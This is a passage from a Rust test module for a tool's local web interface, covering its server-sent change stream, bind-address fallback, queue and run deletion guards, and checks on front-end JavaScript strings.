20380 APP_JS.contains(
20381 " const key = state.queueSectionFocus;\n if (!key || state.queue === null) return;\n if (state.queueSearch.trim() !== \"\") {"
20382 ),
20383 "the search-clearing branch must run before state.queueSectionFocus is cleared, or \
20384 the recursive renderQueue() call has nothing left to reveal"
20385 );
20386 assert!(
20387 APP_JS.contains(
20388 " const details = document.querySelector(`#queue-sections details.list-section[data-key=\"${CSS.escape(key)}\"]`);\n state.queueSectionFocus = null;\n if (details) revealQueueSection(details);"
20389 ),
20390 "state.queueSectionFocus must only be cleared immediately before the reveal it guards"
20391 );
20392 assert!(
20400 APP_JS.contains(" location.hash = \"#queue\";\n applyRoute();\n renderQueue();\n}"),
20401 "openQueueSectionFocus must explicitly re-render the Backlog, not rely on a \
20402 hashchange event that may never fire"
20403 );
20404 }
20405
20406 #[tokio::test]
20407 async fn the_change_stream_announces_the_current_revisions_on_connect() {
20408 let f = Fixture::start().await;
20409
20410 let mut socket = tokio::net::TcpStream::connect(f.addr)
20411 .await
20412 .expect("connect");
20413 socket
20414 .write_all(
20415 b"GET /api/events HTTP/1.1\r\nHost: magi\r\nAccept: text/event-stream\r\n\r\n",
20416 )
20417 .await
20418 .expect("write request");
20419
20420 let mut seen = String::new();
20423 let mut buf = [0u8; 1024];
20424 while !seen.contains("event: change") {
20425 let read = tokio::time::timeout(Duration::from_secs(5), socket.read(&mut buf))
20426 .await
20427 .expect("the stream must speak within five seconds")
20428 .expect("read");
20429 assert!(read > 0, "the server closed the change stream: {seen}");
20430 seen.push_str(&String::from_utf8_lossy(&buf[..read]));
20431 }
20432
20433 assert!(
20434 seen.to_lowercase()
20435 .contains("content-type: text/event-stream"),
20436 "the browser only reconnects automatically for a real SSE stream: {seen}"
20437 );
20438 let data = seen
20439 .lines()
20440 .find_map(|l| l.strip_prefix("data:"))
20441 .expect("a data line");
20442 let payload: Value = serde_json::from_str(data.trim()).expect("json payload");
20443 assert!(
20444 payload["queue_rev"].is_u64()
20445 && payload["runs_rev"].is_u64()
20446 && payload["questions_rev"].is_u64()
20447 && payload["talks_rev"].is_u64()
20448 && payload["notifications_rev"].is_u64()
20449 && payload["loop_rev"].is_u64(),
20450 "the client needs one revision per store to know what to refetch, \
20451 and `talks_rev` is the only notification a standing talk gets - a \
20452 phone whose radio slept through a turn learns about it here, as \
20453 does one whose operator started the loop from another device: \
20454 {payload}"
20455 );
20456
20457 let health = f.get("/api/health").await.json();
20464 for key in [
20465 "queue_rev",
20466 "runs_rev",
20467 "questions_rev",
20468 "talks_rev",
20469 "notifications_rev",
20470 "loop_rev",
20471 ] {
20472 assert!(
20473 health[key].is_u64(),
20474 "health is the change stream's fallback and is missing `{key}`: {health}"
20475 );
20476 }
20477 }
20478
20479 #[tokio::test]
20480 async fn a_new_turn_on_a_talk_moves_the_change_stream_revision() {
20481 let f = Fixture::start().await;
20482 let before = f.get("/api/health").await.json()["talks_rev"]
20483 .as_u64()
20484 .expect("talks_rev");
20485
20486 let talk = seed_talk(&f, "20260904-014455-ab12", "open");
20487 std::thread::sleep(Duration::from_millis(10));
20488 let mut on_disk = f.talks().get(&talk).expect("get seeded talk");
20489 on_disk.turns.push(crate::talk::Turn {
20490 sender: None,
20491 breaks: Some(Vec::new()),
20492 messages: Vec::new(),
20493 posted_by: None,
20494 who: crate::talk::Who::Operator,
20495 body: "a new turn".to_owned(),
20496 at: Timestamp::now(),
20497 attachments: Vec::new(),
20498 usage: None,
20499 });
20500 f.talks().put(&mut on_disk).expect("record a turn");
20501
20502 let after = tokio::time::timeout(Duration::from_secs(5), async {
20503 loop {
20504 let revision = f.get("/api/health").await.json()["talks_rev"]
20505 .as_u64()
20506 .unwrap();
20507 if revision != before {
20508 break revision;
20509 }
20510 tokio::time::sleep(Duration::from_millis(50)).await;
20511 }
20512 })
20513 .await
20514 .expect("shared monitor observes external turn");
20515 assert_ne!(
20516 before, after,
20517 "a phone must be able to notice a talk's reply without polling every store"
20518 );
20519 }
20520
20521 #[test]
20522 fn bind_reads_back_from_the_spelling_the_cli_prints() {
20523 for bind in [Bind::Auto, Bind::Addr(IpAddr::V4(Ipv4Addr::LOCALHOST))] {
20527 assert_eq!(bind.to_string().parse::<Bind>(), Ok(bind));
20528 }
20529 assert_eq!("AUTO".parse::<Bind>(), Ok(Bind::Auto));
20530 assert!("everywhere".parse::<Bind>().is_err());
20531 }
20532
20533 #[test]
20534 fn an_explicit_bind_address_is_taken_verbatim() {
20535 let asked = IpAddr::V4(Ipv4Addr::new(192, 168, 1, 20));
20536
20537 let (addr, warning) = resolve_bind(&Bind::Addr(asked));
20538
20539 assert_eq!(addr, asked);
20540 assert!(
20541 warning.is_none(),
20542 "an operator who named an address gets no lecture"
20543 );
20544 }
20545
20546 #[test]
20547 fn bind_auto_either_finds_a_tailnet_address_or_says_the_ui_is_local_only() {
20548 let (addr, warning) = resolve_bind(&Bind::Auto);
20549
20550 match addr {
20557 IpAddr::V4(ip) if is_tailnet(&ip) => {
20558 assert!(warning.is_none(), "a tailnet address needs no warning");
20559 }
20560 other => {
20561 assert_eq!(other, IpAddr::V4(Ipv4Addr::LOCALHOST));
20562 let warning = warning.expect("a fallback has to explain itself");
20563 assert!(
20564 warning.contains("127.0.0.1") && warning.contains("local-only"),
20565 "the warning says what happened and what it costs: {warning}"
20566 );
20567 }
20568 }
20569 }
20570
20571 #[test]
20572 fn only_the_cgnat_block_counts_as_a_tailnet_address() {
20573 assert!(is_tailnet(&Ipv4Addr::new(100, 64, 0, 1)));
20577 assert!(is_tailnet(&Ipv4Addr::new(100, 127, 255, 254)));
20578 assert!(!is_tailnet(&Ipv4Addr::new(100, 63, 255, 255)));
20579 assert!(!is_tailnet(&Ipv4Addr::new(100, 128, 0, 1)));
20580 assert!(!is_tailnet(&Ipv4Addr::new(127, 0, 0, 1)));
20581 }
20582
20583 #[test]
20584 fn an_ambiguous_prefix_is_a_bad_request_and_a_missing_one_is_not_found() {
20585 let ids = vec![
20586 "20260902-140501-aaaa".to_owned(),
20587 "20260902-140502-aabb".to_owned(),
20588 ];
20589
20590 let missing = pick(ids.clone(), "zzzz", "run").expect_err("no match");
20591 let ambiguous = pick(ids.clone(), "202609", "run").expect_err("two matches");
20592 let short = pick(ids, "aabb", "run").expect("the short id is the tail of an id");
20593
20594 assert_eq!(missing.status, StatusCode::NOT_FOUND);
20595 assert_eq!(ambiguous.status, StatusCode::BAD_REQUEST);
20596 assert_eq!(short, "20260902-140502-aabb");
20597 }
20598 #[tokio::test]
20599 async fn a_panel_reaches_its_assets_by_the_bare_name_it_was_told_to_use() {
20600 let fx = Fixture::start().await;
20606 let id = panel(
20607 &fx,
20608 "<img src=\"shot.png\">",
20609 &[("shot.png", b"\x89PNG\r\n\x1a\n")],
20610 );
20611
20612 let doc = fx
20614 .get(&format!("/api/questions/{id}/panel/index.html"))
20615 .await;
20616 assert_eq!(doc.status, 200, "{}", doc.body);
20617 assert_eq!(doc.header("content-type"), Some("text/html; charset=utf-8"));
20618
20619 let sibling = fx.get(&format!("/api/questions/{id}/panel/shot.png")).await;
20620 assert_eq!(sibling.status, 200, "{}", sibling.body);
20621 assert_eq!(sibling.header("content-type"), Some("image/png"));
20622 assert_eq!(
20623 sibling.header("content-security-policy"),
20624 Some(PANEL_CSP),
20625 "the sibling route must carry the same policy as the asset route"
20626 );
20627
20628 assert_eq!(
20631 fx.head(&format!("/api/questions/{id}/panel")).await.status,
20632 200
20633 );
20634 }
20635
20636 #[test]
20637 fn delta_stamps_cover_add_update_remove_and_noop() {
20638 let before: Stamps = [("a".into(), (1, 10)), ("b".into(), (2, 20))].into();
20639 let after: Stamps = [("b".into(), (2, 21)), ("c".into(), (3, 30))].into();
20640 let delta = diff_stamps(&before, &after, 42);
20641 assert_eq!(delta.base, 42);
20642 assert_eq!(delta.changed, ["b", "c"]);
20643 assert_eq!(delta.removed, ["a"]);
20644 let same = diff_stamps(&after, &after, 43);
20645 assert!(same.changed.is_empty() && same.removed.is_empty());
20646 assert_ne!(stamps_revision(&before), stamps_revision(&after));
20647 let nanos: Stamps = [("b".into(), (2, 20))].into();
20648 let same_ms: Stamps = [("b".into(), (3, 20))].into();
20649 assert_ne!(stamps_revision(&nanos), stamps_revision(&same_ms));
20650 assert_eq!(stamps_revision(&Stamps::new()), 0);
20651 }
20652
20653 fn delta_test_ui(home: &FsPath) -> Arc<Ui> {
20654 std::fs::create_dir_all(home.join("runs")).unwrap();
20655 Arc::new(Ui::new(
20656 Queue::at(home.join("queue")),
20657 Questions::at(home.join("questions")),
20658 Talks::at(home.join("talks")),
20659 home.join("runs"),
20660 home.to_owned(),
20661 PathBuf::from("/repo/magi"),
20662 ))
20663 }
20664
20665 #[test]
20666 fn monitor_scan_isolates_store_failures_and_recovers() {
20667 let home = TempDir::new().unwrap();
20668 let ui = delta_test_ui(home.path());
20669 std::fs::create_dir_all(ui.questions.root()).unwrap();
20670 std::fs::write(ui.questions.root().join("q.json"), "{}").unwrap();
20671 let before = monitor_scan(&ui, None);
20672 std::fs::rename(ui.questions.root(), home.path().join("saved-questions")).unwrap();
20673 std::fs::write(ui.questions.root(), "not a directory").unwrap();
20674 std::fs::create_dir_all(ui.talks.root()).unwrap();
20675 std::fs::write(ui.talks.root().join("new.json"), "{}").unwrap();
20676 let during = monitor_scan(&ui, Some(before.clone()));
20677 assert_eq!(during.0.2, before.0.2);
20678 assert_ne!(during.0.3, before.0.3);
20679 assert!(during.1[2].contains_key("new"));
20680 std::fs::remove_file(ui.questions.root()).unwrap();
20681 let after = monitor_scan(&ui, Some(during));
20682 assert_eq!(after.0.2, 0);
20683 assert_eq!(after.0.3, stamps_revision(&after.1[2]));
20684 std::fs::write(ui.questions.root(), "not a directory").unwrap();
20686 assert_eq!(monitor_scan(&ui, None).0.3, after.0.3);
20687 }
20688
20689 #[tokio::test]
20690 async fn delta_stream_announces_a_base_then_changed_and_removed_ids() {
20691 let home = TempDir::new().unwrap();
20692 let ui = delta_test_ui(home.path());
20693 let mut task = Task::new(
20694 "stream task".into(),
20695 "text".into(),
20696 PathBuf::from("/repo"),
20697 Source::Human,
20698 );
20699 ui.queue.put(&mut task).unwrap();
20700 let response = events(State(ui.clone())).await.into_response();
20701 let mut stream = response.into_body().into_data_stream();
20702 async fn change(stream: &mut axum::body::BodyDataStream) -> serde_json::Value {
20703 let chunk = tokio::time::timeout(Duration::from_secs(5), stream.next())
20704 .await
20705 .unwrap()
20706 .unwrap()
20707 .unwrap();
20708 let text = String::from_utf8(chunk.to_vec()).unwrap();
20709 let data = text
20710 .lines()
20711 .find_map(|line| {
20712 line.strip_prefix("data: ")
20713 .or_else(|| line.strip_prefix("data:"))
20714 })
20715 .unwrap();
20716 serde_json::from_str(data).unwrap()
20717 }
20718 let initial = change(&mut stream).await;
20719 assert!(initial.get("queue_delta").is_none());
20720 task.instruction.push_str(" changed");
20721 ui.queue.put(&mut task).unwrap();
20722 let updated = change(&mut stream).await;
20723 assert_eq!(updated["queue_delta"]["base"], initial["queue_rev"]);
20724 assert_eq!(
20725 updated["queue_delta"]["changed"],
20726 serde_json::json!([task.id])
20727 );
20728 assert_eq!(
20729 updated["queue_rev"].as_u64(),
20730 Some(stamps_revision(&store_stamps(ui.queue.root(), false)))
20731 );
20732 std::fs::remove_file(ui.queue.path_of(&task.id)).unwrap();
20733 let removed = change(&mut stream).await;
20734 assert_eq!(removed["queue_delta"]["base"], updated["queue_rev"]);
20735 assert_eq!(
20736 removed["queue_delta"]["removed"],
20737 serde_json::json!([task.id])
20738 );
20739 }
20740
20741 #[tokio::test]
20742 async fn delta_lists_keep_blockers_and_respect_the_run_window() {
20743 let home = TempDir::new().unwrap();
20744 let ui = delta_test_ui(home.path());
20745 let queue = ui.queue.clone();
20746 let query = |ids: Option<&str>| {
20747 Query(ListQuery {
20748 limit: Some(2),
20749 ids: ids.map(str::to_owned),
20750 })
20751 };
20752 let mut root = Task::new(
20753 "root".into(),
20754 "instruction".into(),
20755 PathBuf::from("/repo"),
20756 Source::Human,
20757 );
20758 queue.put(&mut root).unwrap();
20759 let mut blocked = Task::new(
20760 "blocked".into(),
20761 "instruction".into(),
20762 PathBuf::from("/repo"),
20763 Source::Human,
20764 );
20765 blocked.block(vec![root.id.clone()], None);
20766 queue.put(&mut blocked).unwrap();
20767 let whole =
20768 serde_json::to_value(queue_list(State(ui.clone()), query(None)).await.unwrap().0)
20769 .unwrap();
20770 let subset = serde_json::to_value(
20771 queue_list(State(ui.clone()), query(Some(&root.id)))
20772 .await
20773 .unwrap()
20774 .0,
20775 )
20776 .unwrap();
20777 assert_eq!(whole, subset, "requested root plus its blocked dependent");
20778 let blockers = serde_json::to_value(
20779 queue_list(State(ui.clone()), query(Some("")))
20780 .await
20781 .unwrap()
20782 .0,
20783 )
20784 .unwrap();
20785 assert_eq!(blockers.as_array().unwrap().len(), 1);
20786 assert_eq!(blockers[0]["id"], blocked.id);
20787 assert_eq!(
20788 blockers[0]["waits_on"],
20789 whole
20790 .as_array()
20791 .unwrap()
20792 .iter()
20793 .find(|row| row["id"] == blocked.id)
20794 .unwrap()["waits_on"]
20795 );
20796
20797 for id in [
20798 "20260902-140501-aaaa",
20799 "20260902-140502-bbbb",
20800 "20260902-140503-cccc",
20801 ] {
20802 write_run(&ui.runs, id, RunStatus::Merged);
20803 }
20804 let old = serde_json::to_value(
20805 runs_list(State(ui.clone()), query(Some("20260902-140501-aaaa")))
20806 .await
20807 .unwrap()
20808 .0,
20809 )
20810 .unwrap();
20811 assert!(
20812 old.as_array().unwrap().is_empty(),
20813 "older updates must not enter the window"
20814 );
20815 let newest = serde_json::to_value(
20816 runs_list(State(ui.clone()), query(Some("20260902-140503-cccc")))
20817 .await
20818 .unwrap()
20819 .0,
20820 )
20821 .unwrap();
20822 assert_eq!(newest.as_array().unwrap().len(), 1);
20823 assert_eq!(newest[0]["id"], "20260902-140503-cccc");
20824
20825 seed_talk_at(&ui.talks, "20260905-000000-d4e5", "open");
20826 seed_talk_at(&ui.talks, "20260905-000001-d4e6", "open");
20827 let talks = serde_json::to_value(
20828 talks_list(State(ui.clone()), query(Some("20260905-000000-d4e5")))
20829 .await
20830 .unwrap()
20831 .0,
20832 )
20833 .unwrap();
20834 assert_eq!(talks.as_array().unwrap().len(), 1);
20835 assert_eq!(talks[0]["id"], "20260905-000000-d4e5");
20836 assert_eq!(
20837 serde_json::to_value(
20838 talks_list(State(ui.clone()), query(Some("")))
20839 .await
20840 .unwrap()
20841 .0
20842 )
20843 .unwrap(),
20844 serde_json::json!([])
20845 );
20846 }
20847
20848 #[tokio::test]
20849 #[ignore = "manual payload measurement; requires a JSON snapshot in MAGI_WEB_BENCH_HOME"]
20850 async fn delta_payload_benchmark() {
20851 let home = PathBuf::from(std::env::var_os("MAGI_WEB_BENCH_HOME").expect("snapshot"));
20852 let ui = delta_test_ui(&home);
20853 let query = |ids: Option<String>| {
20854 Query(ListQuery {
20855 limit: Some(50),
20856 ids,
20857 })
20858 };
20859 let queue = queue_list(State(ui.clone()), query(None)).await.unwrap().0;
20860 let runs = runs_list(State(ui.clone()), query(None)).await.unwrap().0;
20861 let talks = talks_list(State(ui.clone()), query(None)).await.unwrap().0;
20862 let queue_id = queue
20863 .iter()
20864 .find(|row| row.task.status == crate::queue::TaskStatus::Running)
20865 .unwrap_or(&queue[0])
20866 .task
20867 .id
20868 .clone();
20869 let queue_delta = queue_list(State(ui.clone()), query(Some(queue_id)))
20870 .await
20871 .unwrap()
20872 .0;
20873 let runs_delta = runs_list(State(ui.clone()), query(Some(runs[0].id.clone())))
20874 .await
20875 .unwrap()
20876 .0;
20877 let talks_delta = talks_list(State(ui.clone()), query(Some(talks[0].talk.id.clone())))
20878 .await
20879 .unwrap()
20880 .0;
20881 let bytes = |rows: serde_json::Value| serde_json::to_vec(&rows).unwrap().len();
20882 eprintln!(
20883 "DELTA_PAYLOAD {}",
20884 serde_json::json!({
20885 "queue": [bytes(serde_json::to_value(&queue).unwrap()), bytes(serde_json::to_value(&queue_delta).unwrap())],
20886 "runs50": [bytes(serde_json::to_value(&runs).unwrap()), bytes(serde_json::to_value(&runs_delta).unwrap())],
20887 "talks": [bytes(serde_json::to_value(&talks).unwrap()), bytes(serde_json::to_value(&talks_delta).unwrap())],
20888 "counts": [queue.len(), runs.len(), talks.len()],
20889 "blocked": queue_delta.len() - 1,
20890 })
20891 );
20892 }
20893
20894 #[test]
20895 fn runs_revision_moves_when_deleting_an_older_run() {
20896 let temp = TempDir::new().expect("tempdir");
20897 let runs = temp.path().join("runs");
20898 std::fs::create_dir_all(&runs).expect("create runs dir");
20899
20900 assert_eq!(runs_revision(&runs), 0, "empty runs has 0 revision");
20901
20902 write_run(&runs, "20260901-100000-old1", RunStatus::Merged);
20903 std::thread::sleep(Duration::from_millis(10));
20904 write_run(&runs, "20260902-100000-new2", RunStatus::Merged);
20905
20906 let rev_before = runs_revision(&runs);
20907 assert!(rev_before > 0);
20908
20909 let old_dir = runs.join("20260901-100000-old1");
20910 std::fs::remove_dir_all(&old_dir).expect("remove old run");
20911
20912 let rev_after = runs_revision(&runs);
20913 assert_ne!(
20914 rev_before, rev_after,
20915 "deleting an older run must change the revision so other clients see the deletion"
20916 );
20917 }
20918
20919 fn write_state(runs: &FsPath, state: &RunState) {
20924 let dir = runs.join(&state.id);
20925 std::fs::create_dir_all(&dir).expect("run dir");
20926 std::fs::write(
20927 dir.join("run.json"),
20928 serde_json::to_string_pretty(state).expect("serialize run"),
20929 )
20930 .expect("write run.json");
20931 }
20932
20933 #[test]
20938 fn runs_revision_moves_when_a_seat_starts_and_again_when_it_finishes() {
20939 let temp = TempDir::new().expect("tempdir");
20940 let runs = temp.path().join("runs");
20941 std::fs::create_dir_all(&runs).expect("create runs dir");
20942 let mut state = RunState::new(
20943 PathBuf::from("/repo/magi"),
20944 "main".to_owned(),
20945 "0123456789abcdef".to_owned(),
20946 "task".to_owned(),
20947 Config::default(),
20948 );
20949 state.id = "20260902-100000-c0de".to_owned();
20950 write_state(&runs, &state);
20951
20952 let rev_idle = runs_revision(&runs);
20953 std::thread::sleep(Duration::from_millis(10));
20954 state.seat_started("judge", "judge-1", std::time::Duration::from_secs(60), 0);
20955 write_state(&runs, &state);
20956 let rev_started = runs_revision(&runs);
20957 assert_ne!(
20958 rev_idle, rev_started,
20959 "a seat starting must move the revision"
20960 );
20961
20962 std::thread::sleep(Duration::from_millis(10));
20963 state.seat_finished("judge-1");
20964 write_state(&runs, &state);
20965 let rev_finished = runs_revision(&runs);
20966 assert_ne!(
20967 rev_started, rev_finished,
20968 "and clearing it again must move the revision a second time"
20969 );
20970 }
20971
20972 #[tokio::test]
20973 async fn queue_json_carries_dependency_fields_and_a_hold_clears_them() {
20974 let fx = Fixture::start().await;
20979 let q = fx.queue();
20980
20981 let mut t = Task::new(
20982 "Task".to_owned(),
20983 "Instruction".to_owned(),
20984 PathBuf::from("/repo"),
20985 Source::Human,
20986 );
20987 t.block(
20988 vec!["20260101-000000-dead".to_owned()],
20989 Some("waiting on Task 1".to_owned()),
20990 );
20991 t.answers.push(crate::queue::AnsweredQuestion {
20992 question: "Which backend?".to_owned(),
20993 answer: "SQLite".to_owned(),
20994 });
20995 q.put(&mut t).expect("put t");
20996
20997 let res = fx.get("/api/queue").await;
20998 assert_eq!(res.status, 200);
20999 let list = res.json();
21000 let view = list
21001 .as_array()
21002 .expect("array")
21003 .iter()
21004 .find(|v| v["id"] == t.id)
21005 .expect("task in list");
21006 assert_eq!(view["status_str"], "blocked");
21007 assert_eq!(
21008 view["blocked_by"],
21009 serde_json::json!(["20260101-000000-dead"])
21010 );
21011 assert_eq!(view["block_reason"], "waiting on Task 1");
21012 assert_eq!(view["answers"][0]["question"], "Which backend?");
21013 assert_eq!(view["answers"][0]["answer"], "SQLite");
21014
21015 let res = fx
21019 .post(&format!("/api/queue/{}/hold", t.short()), None)
21020 .await;
21021 assert_eq!(res.status, 200);
21022 let held = res.json();
21023 assert_eq!(held["status_str"], "held");
21024 assert_eq!(held["blocked_by"], serde_json::json!([]));
21025 assert!(held["block_reason"].is_null());
21026 assert_eq!(held["answers"][0]["answer"], "SQLite");
21027 }
21028
21029 #[tokio::test]
21030 async fn queue_json_shows_a_blocked_chain_and_its_stuck_root() {
21031 let fx = Fixture::start().await;
21032 let q = fx.queue();
21033 let mk = |title: &str| {
21034 Task::new(
21035 title.to_owned(),
21036 "Instruction".to_owned(),
21037 PathBuf::from("/repo"),
21038 Source::Human,
21039 )
21040 };
21041 let mut root = mk("root");
21042 root.hold_manual(Some("waiting".to_owned()));
21043 q.put(&mut root).unwrap();
21044 let mut mid = mk("mid");
21045 mid.block(vec![root.id.clone()], None);
21046 q.put(&mut mid).unwrap();
21047 let mut leaf = mk("leaf");
21048 leaf.block(vec![mid.id.clone()], None);
21049 q.put(&mut leaf).unwrap();
21050
21051 let list = fx.get("/api/queue").await.json();
21052 let find = |id: &str| {
21053 list.as_array()
21054 .unwrap()
21055 .iter()
21056 .find(|v| v["id"] == id)
21057 .unwrap()
21058 .clone()
21059 };
21060 let leaf_view = find(&leaf.id);
21061 assert_eq!(
21062 leaf_view["waits_on"],
21063 serde_json::json!([format!("{} (blocked → {} held)", mid.short(), root.short())])
21064 );
21065 assert_eq!(leaf_view["stuck_roots"], serde_json::json!([root.short()]));
21066 assert_eq!(
21067 find(&mid.id)["waits_on"],
21068 serde_json::json!([format!("{} (held)", root.short())])
21069 );
21070 assert_eq!(find(&root.id)["waits_on"], serde_json::json!([]));
21071 }
21072
21073 #[tokio::test]
21074 async fn delete_queue_task_deletes_file_and_guards_running_and_locked() {
21075 let fx = Fixture::start().await;
21076 let q = fx.queue();
21077
21078 let mut t1 = Task::new(
21080 "Task 1".to_owned(),
21081 "Instruction 1".to_owned(),
21082 PathBuf::from("/repo"),
21083 Source::Human,
21084 );
21085 let run_id = "20260901-000000-r111";
21086 t1.runs.push(run_id.to_owned());
21087 write_run(&fx.runs(), run_id, RunStatus::Merged);
21088 q.put(&mut t1).expect("put t1");
21089
21090 let res = fx.delete(&format!("/api/queue/{}", t1.short())).await;
21092 assert_eq!(res.status, 204);
21093 assert!(res.body.is_empty(), "204 No Content has no body");
21094 assert!(!q.path_of(&t1.id).exists(), "task file is deleted");
21095 assert!(
21096 fx.runs().join(run_id).exists(),
21097 "run directory must not be deleted when its task is deleted"
21098 );
21099
21100 let mut t2 = Task::new(
21102 "Task 2".to_owned(),
21103 "Instruction 2".to_owned(),
21104 PathBuf::from("/repo"),
21105 Source::Human,
21106 );
21107 t2.status = TaskStatus::Running;
21108 q.put(&mut t2).expect("put t2");
21109 let mut beat = crate::daemon::Status::new();
21110 beat.current = vec![crate::daemon::Current {
21111 worker: None,
21112 task: t2.id.clone(),
21113 run: "20260901-000000-r222".to_owned(),
21114 }];
21115 beat.updated_at = jiff::Timestamp::now();
21116 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
21117 .expect("publish a heartbeat");
21118 let res = fx.delete(&format!("/api/queue/{}", t2.id)).await;
21119 assert_eq!(res.status, 409);
21120 assert!(
21121 res.json()["error"]
21122 .as_str()
21123 .unwrap()
21124 .contains("live daemon")
21125 );
21126 assert!(q.path_of(&t2.id).exists(), "a task in flight is kept");
21127
21128 beat.updated_at = jiff::Timestamp::now() - jiff::SignedDuration::from_secs(600);
21134 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
21135 .expect("leave a stale heartbeat");
21136 let mut t3 = Task::new(
21137 "Task 3".to_owned(),
21138 "Instruction 3".to_owned(),
21139 PathBuf::from("/repo"),
21140 Source::Human,
21141 );
21142 t3.status = TaskStatus::Running;
21143 q.put(&mut t3).expect("put t3");
21144 std::mem::forget(q.claim(&t3.id).expect("claim t3"));
21145 let res = fx.delete(&format!("/api/queue/{}", t3.id)).await;
21146 assert_eq!(res.status, 204);
21147 assert!(!q.path_of(&t3.id).exists(), "the task file is gone");
21148 assert!(
21149 q.claim(&t3.id).is_ok(),
21150 "the stale lock went with it, so the id is claimable again"
21151 );
21152
21153 let res = fx.delete("/api/queue/nonexistent").await;
21155 assert_eq!(res.status, 404);
21156 }
21157
21158 #[tokio::test]
21159 async fn delete_run_deletes_directory_and_guards_running_and_unfolded() {
21160 let fx = Fixture::start().await;
21161 let runs = fx.runs();
21162
21163 let run_id = "20260901-000000-fold";
21165 let mut state = RunState::new(
21166 PathBuf::from("/repo"),
21167 "main".to_owned(),
21168 "abc".to_owned(),
21169 "instruction".to_owned(),
21170 Config::default(),
21171 );
21172 state.id = run_id.to_owned();
21173 state.status = RunStatus::Merged;
21174 state.candidates.push(crate::run::Candidate {
21175 index: 0,
21176 label: 'A',
21177 agent: "a".to_owned(),
21178 branch: "b".to_owned(),
21179 worktree: PathBuf::from("/w"),
21180 summary: String::new(),
21181 stat: String::new(),
21182 files: 1,
21183 commits: 1,
21184 empty: false,
21185 failed: None,
21186 verified_noop: None,
21187 duration_ms: 0,
21188 folded: true,
21189 });
21190 let dir = runs.join(run_id);
21191 std::fs::create_dir_all(dir.join("artifacts")).expect("create artifacts");
21192 std::fs::write(dir.join("artifacts").join("patch.diff"), "dummy diff")
21193 .expect("write artifact");
21194 std::fs::write(dir.join("run.json"), serde_json::to_string(&state).unwrap())
21195 .expect("write run.json");
21196
21197 let res = fx.delete(&format!("/api/runs/{}", state.short())).await;
21199 assert_eq!(res.status, 204);
21200 assert!(res.body.is_empty(), "204 has no body");
21201 assert!(!dir.exists(), "run directory and artifacts must be deleted");
21202
21203 let run_running = "20260901-000000-rung";
21208 write_run(&runs, run_running, RunStatus::Prep);
21209 let mut beat = crate::daemon::Status::new();
21210 beat.current = vec![crate::daemon::Current {
21211 worker: None,
21212 task: "20260901-000000-task".to_owned(),
21213 run: run_running.to_owned(),
21214 }];
21215 beat.updated_at = jiff::Timestamp::now();
21216 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
21217 .expect("publish a heartbeat");
21218 let res = fx.delete(&format!("/api/runs/{run_running}")).await;
21219 assert_eq!(res.status, 409);
21220 assert!(
21221 res.json()["error"]
21222 .as_str()
21223 .unwrap()
21224 .contains("live daemon"),
21225 "the refusal must say who is holding it"
21226 );
21227 assert!(
21228 runs.join(run_running).exists(),
21229 "a run in flight keeps its directory"
21230 );
21231
21232 let run_unfolded = "20260901-000000-unfd";
21234 let mut state2 = RunState::new(
21235 PathBuf::from("/repo"),
21236 "main".to_owned(),
21237 "abc".to_owned(),
21238 "instruction".to_owned(),
21239 Config::default(),
21240 );
21241 state2.id = run_unfolded.to_owned();
21242 state2.status = RunStatus::Ready;
21243 state2.candidates.push(crate::run::Candidate {
21244 index: 0,
21245 label: 'A',
21246 agent: "a".to_owned(),
21247 branch: "b".to_owned(),
21248 worktree: PathBuf::from("/w"),
21249 summary: String::new(),
21250 stat: String::new(),
21251 files: 1,
21252 commits: 1,
21253 empty: false,
21254 failed: None,
21255 verified_noop: None,
21256 duration_ms: 0,
21257 folded: false,
21258 });
21259 let dir2 = runs.join(run_unfolded);
21260 std::fs::create_dir_all(&dir2).expect("create dir2");
21261 std::fs::write(
21262 dir2.join("run.json"),
21263 serde_json::to_string(&state2).unwrap(),
21264 )
21265 .expect("write run.json");
21266
21267 let res = fx.delete(&format!("/api/runs/{run_unfolded}")).await;
21268 assert_eq!(res.status, 409);
21269 assert!(res.json()["error"].as_str().unwrap().contains("magi fold"));
21270 assert!(dir2.exists(), "unfolded run directory is kept");
21271
21272 let res = fx.delete("/api/runs/nonexistent").await;
21274 assert_eq!(res.status, 404);
21275 }
21276
21277 #[test]
21286 fn stats_queue_tiles_render_even_when_there_are_no_runs() {
21287 let start = APP_JS
21288 .find("function renderStats() {")
21289 .expect("renderStats");
21290 let end = start
21291 + APP_JS[start..]
21292 .find("function statsTile(")
21293 .expect("the next top-level function");
21294 let body = &APP_JS[start..end];
21295
21296 let gate_start = body.find("if (!noRuns) {").expect("the noRuns gate");
21297 let gate_end = gate_start
21298 + body[gate_start..]
21299 .find("}\n renderStatsQueue")
21300 .expect("the gate's own closing brace, right before the unconditional call");
21301 let gated = &body[gate_start..gate_end];
21302
21303 assert_eq!(
21304 body.matches("renderStatsQueue(").count(),
21305 1,
21306 "renderStats must call renderStatsQueue exactly once: {body}"
21307 );
21308 assert!(
21309 !gated.contains("renderStatsQueue"),
21310 "renderStatsQueue must not be inside the `if (!noRuns)` block that hides the \
21311 run-derived panels on an empty run history - the queue panel has to render \
21312 regardless: {gated}"
21313 );
21314 }
21315
21316 #[test]
21317 fn web_ui_delete_contract_in_front_end() {
21318 assert!(APP_JS.contains("deleteRun:"));
21320 assert!(APP_JS.contains("deleteTask:"));
21321
21322 let run_cards_slice = &APP_JS[APP_JS.find("function createRunCard").unwrap()
21324 ..APP_JS.find("function renderRuns").unwrap()];
21325 assert!(!run_cards_slice.to_lowercase().contains("delete"));
21326
21327 assert!(APP_JS.contains("renderRunDelete"));
21329 assert!(APP_JS.contains("runDeleteReason"));
21330 assert!(APP_JS.contains("magi fold"));
21331 assert!(APP_JS.contains("This run is still in flight and cannot be deleted."));
21332
21333 assert!(APP_JS.contains("cancel.focus"));
21335 assert!(APP_JS.contains("armedRunDelete"));
21336 assert!(APP_JS.contains("renderTaskDeleteBox"));
21337 assert!(APP_JS.contains("armed${cap(key)}"));
21338
21339 assert!(APP_JS.contains("disabled: status === \"running\""));
21341 }
21342
21343 #[test]
21363 fn every_ref_a_run_card_uses_is_one_its_builder_published() {
21364 let build = APP_JS
21365 .find("function createRunCard")
21366 .expect("createRunCard exists");
21367 let update = APP_JS
21368 .find("function updateRunCard")
21369 .expect("updateRunCard exists");
21370 let end = APP_JS
21371 .find("function renderRuns")
21372 .expect("renderRuns exists");
21373
